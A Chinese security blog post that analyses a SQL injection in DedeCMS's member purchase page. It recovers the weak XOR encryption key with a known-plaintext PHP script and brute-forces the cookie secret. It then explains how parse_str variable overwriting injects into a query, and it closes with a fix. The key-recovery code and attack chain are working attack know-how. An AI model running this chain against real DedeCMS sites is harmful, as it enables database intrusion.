年前有人刷了N多DedeCMS的洞,个人表示很无语 粗略看了下,这些洞存在太大限制  一句话总结:只要GPC一开,全部没法用... 试问现在哪个傻子会把GPC关掉... 98%都是打开的,所以哪... 今天这个洞,无视GPC,GPC你哪凉快 哪呆着去... 也一句话总结:很黄很暴力!   #1 漏洞代码   Tips: 全过程 $_SERVER["HTTP_USER_AGENT"] 设置为空  

/member/buy_action.php 代码如下(只贴关键的代码)

if(isset($pd_encode) && isset($pd_verify) && md5("payment".$pd_encode.$cfg_cookie_encode) == $pd_verify)

{



    parse_str(mchStrCode($pd_encode,'DECODE'),$mch_Post);

    foreach($mch_Post as $k => $v) $$k = $v;

    $row  = $dsql->GetOne("SELECT * FROM detest_member_operation WHERE mid='$mid' And sta=0 AND product='$product'");

    if(!isset($row['buyid']))

    {

        ShowMsg("请不要重复提交表单!", 'javascript:;');

        exit();

    }

    if(!isset($paytype))

    {

        ShowMsg("请选择支付方式!", 'javascript:;');

        exit();

    }

    $buyid = $row['buyid'];



}

 

    我们来看看其中最关键的加密函数 mchStrCode() 168行  

function mchStrCode($string,$action='ENCODE')

{

    $key    = substr(md5($_SERVER["HTTP_USER_AGENT"].$GLOBALS['cfg_cookie_encode']),8,18);

    $string    = $action == 'ENCODE' ? $string : base64_decode($string);

    $len    = strlen($key);

    $code    = '';

    for($i=0; $i<strlen($string); $i++)

    {

        $k        = $i % $len;

        $code  .= $string[$i] ^ $key[$k];

    }

    $code = $action == 'DECODE' ? $code : base64_encode($code);

    return $code;

}

 

  #2 逆向加密函数   重点关注这行代码   $code  .= $string[$i] ^ $key[$k];     可以看出来这个加密算法很弱,采用简单的异或运算,我们知道异或运算是一种可逆的算法,比如:   加密算法:密文 = 明文 ^ 密钥   其中 密文、明文、密钥 只要知道其中的两个 便可以很容易的计算出剩下的那个   通常我们只知道密文,但是如果我们知道与密文相对应的明文,哪怕只是一部分   我们来看看DedeCMS给不给我们这个机会   在会员中心 会员升级/点卡充值 处,购买新点卡 随便选择一中类型,点击购买 在后面购买并支付 抓包   有这样一段密文:   pd_encode=QEELURRVQVxbAEdTExNaXQsFFncBUQRjRgRKKHEKDUV3XFJRZUABRyhyaj5bCnhTAF4HDwEAVApQVgdSBgRZUANTEzN7aWVxY2AtcVwEVwMMUFFUAQFSCw8GVgRWBwBVBFcIV1QEAAdSClQEUhUgUAVTeQ5fCFtjXA5WBAcHCQBWBFYCAFgeJVBTUC9cXl9aZFoJUD5pVgp1BQAKAFQCCVRSCQRWVlZVV1hcUxNyezVsfnl2cXAvajRkeVwXBVBTUABeShlZVV4GUBMZWhFdE1RDXAxdF0ZcQA     我们来看看对应的明文:   product=card&pid=1&DedeUserID=8&DedeUserID__ckMd5=4674d94cfd3ea16d&PHPSESSID=2bb41dc4ba292f722ac1606a35da3b0b&DedeLoginTime=1393217459&DedeLoginTime__ckMd5=5710bf972c7cb9d2&ENV_GOBACK_URL=/dedecms/member/operation.php     经过分析可以得知   1. product=card&pid=1&DedeUserID= 基本不会变化的   2. /member/operation.php 基本不会变化的   3. PHPSESSID=2bb41dc4ba292f722ac1606a35da3b0b 是可以从cookie知道的   ...   接下来我们再看看加密密钥的长度:   $key    = substr(md5($_SERVER["HTTP_USER_AGENT"].$GLOBALS['cfg_cookie_encode']),8,18);     很明显,密钥的长度为:18   SO,综上所述 DedeCMS确实给了我们这样的机会,让我们可以逆向出 mchStrCode() 函数所用的加密密钥   #3 获取加密密钥   我们根据加密算法,可以很容易的写出逆向的算法  

<?php

$mingwen="product=card&pid=1&DedeUserID=";

$miwen='QEELURRVQVxbAEdTExNaXQsFFncBUQRjRgRKKHEKDUV3XFJRZUABRyhyaj5bCnhTAF4HDwEAVApQVgdSBgRZUANTEzN7aWVxY2AtcVwEVwMMUFFUAQFSCw8GVgRWBwBVBFcIV1QEAAdSClQEUhUgUAVTeQ5fCFtjXA5WBAcHCQBWBFYCAFgeJVBTUC9cXl9aZFoJUD5pVgp1BQAKAFQCCVRSCQRWVlZVV1hcUxNyezVsfnl2cXAvajRkeVwXBVBTUABeShlZVV4GUBMZWhFdE1RDXAxdF0ZcQA';

$miwen=base64_decode(urldecode($miwen));

$len=strlen($mingwen);

for($i=0;$i<strlen($mingwen);$i++){

$key  .= $miwen[$i] ^ $mingwen[$i];

}

echo "Key is: ".$key;

?>

 

  运行结果为:03d5a65a8a575c396403d5a65a8a57   可以看出 03d5a65a8a575c3964 重复进行运算,那么加密密钥为:03d5a65a8a575c3964   #4 漏洞利用上篇   ok 通过对加密函数的分析,我们可以逆向出加密的密钥,接下来 我们接着代码的细节   4.1 加密密钥的生成:  

$key    = substr(md5($_SERVER["HTTP_USER_AGENT"].$GLOBALS['cfg_cookie_encode']),8,18);

 

  4.2 进入漏洞代码的条件  

if(isset($pd_encode) && isset($pd_verify) && md5("payment".$pd_encode.$cfg_cookie_encode) == $pd_verify)

 

  重点关注下面的条件:  

md5("payment".$pd_encode.$cfg_cookie_encode) == $pd_verify

 

  一个全局变量进入了我们的眼帘:$cfg_cookie_encode cookie的加密密钥   #3 全局变量 $cfg_cookie_encode 的获取   在对加密函数的分析 得知,可以逆向出加密密钥,而恰巧 加密密钥的计算采用了$cfg_cookie_encode ,即   加密密钥 = md5(UA.$cfg_cookie_encode) 而UA我们是可以伪造的,假设我们将UA设置为空,那么加密密钥就等于:substr(md5($cfg_cookie_encode),8,18)   那么获取加密密钥后 我们是不是可以通过暴力破解 获取$cfg_cookie_encode呢?   好 我们再来看看$cfg_cookie_encode是怎么生成的  

$rnd_cookieEncode = chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('a'),ord('z'))).chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('a'),ord('z'))).mt_rand(1000,9999).chr(mt_rand(ord('A'),ord('Z')));

 

  可以看出 $cfg_cookie_encode 长度为10位,格式为   [A-Z][a-z][A-Z][A-Z][a-z][0-9][0-9][0-9][0-9][A-Z] 很有规律,是吧   而我们在 #3 获取加密密钥 中获取了加密密钥为:03d5a65a8a575c3964   那么去掉最后的两位即为 $cfg_cookie_encode 的16位 MD5值(为什么去掉后面的两位,自己Google DedeCMS的加密算法去)。   那还等什么 配置好EGB 暴力破解吧 结果如下   DedeCMS全版本通杀SQL注入(无任何限制) – 网站安全插图     注:采用的是EGB.exe 64位 收费版 很短时间内就可以破解出来   #5 漏洞利用下篇   Good! 获取了$cfg_cookie_encode后 还有什么好说的,看漏洞代码吧  

if(isset($pd_encode) && isset($pd_verify) && md5("payment".$pd_encode.$cfg_cookie_encode) == $pd_verify)

{

echo $pd_encode."<br>";

echo mchStrCode($pd_encode,'DECODE');exit;



    parse_str(mchStrCode($pd_encode,'DECODE'),$mch_Post);

    foreach($mch_Post as $k => $v) $$k = $v;

    $row  = $dsql->GetOne("SELECT * FROM detest_member_operation WHERE mid='$mid' And sta=0 AND product='$product'");

    if(!isset($row['buyid']))

    {

        ShowMsg("请不要重复提交表单!", 'javascript:;');

        exit();

    }

    if(!isset($paytype))

    {

        ShowMsg("请选择支付方式!", 'javascript:;');

        exit();

    }

    $buyid = $row['buyid'];



}

 

    重点关注这三行代码  

parse_str(mchStrCode($pd_encode,'DECODE'),$mch_Post);

foreach($mch_Post as $k => $v) $$k = $v;

$row  = $dsql->GetOne("SELECT * FROM detest_member_operation WHERE mid='$mid' And sta=0 AND product='$product'");

 

  解密$pd_encode后,parse_str变量覆盖 $product,后直接进入SQL查询语句,造成注入漏洞   但进入这三条语句有个条件   md5("payment".$pd_encode.$cfg_cookie_encode) == $pd_verify     重点在于这个等式是否成立,我们来分析 分析   $pd_encode 我们可以控制,$pd_verify我们也可以控制,$cfg_cookie_encode这个变量在#4 漏洞利用上篇 已成功破解出来,因此我们也可以控制,全部变量都被我们控制了 难道还能不成立,SO... $cfg_cookie_encode突破了 神马都是小KS ...   #6 漏洞利用POC   这个漏洞重在其漏洞分析,遇到问题所采用的突破方法,只给个漏洞的POC,只为证明漏洞的的确确存在。   DedeCMS全版本通杀SQL注入(无任何限制) – 网站安全插图1 此漏洞重在研究系统加密算法的逆向,获取$cfg_cookie_encode的思路等,对于漏洞,仅给出POC

DedeCMS全版本通杀SQL注入(无任何限制) – 网站安全插图2 修复方案: 使用强加密算法,可参考 PHPCMS 的算法

    上一篇: 返利+SQL注入漏洞可随意登陆 - 网站安全 - 自学

    下一篇: 摩登天空任意订单越权修改 - 网站安全 - 自学p
本博客所有文章如无特别注明均为原创。
复制或转载请以超链接形式注明转自起风了,原文地址《DedeCMS全版本通杀SQL注入(无任何限制) – 网站安全
   

还没有人抢沙发呢~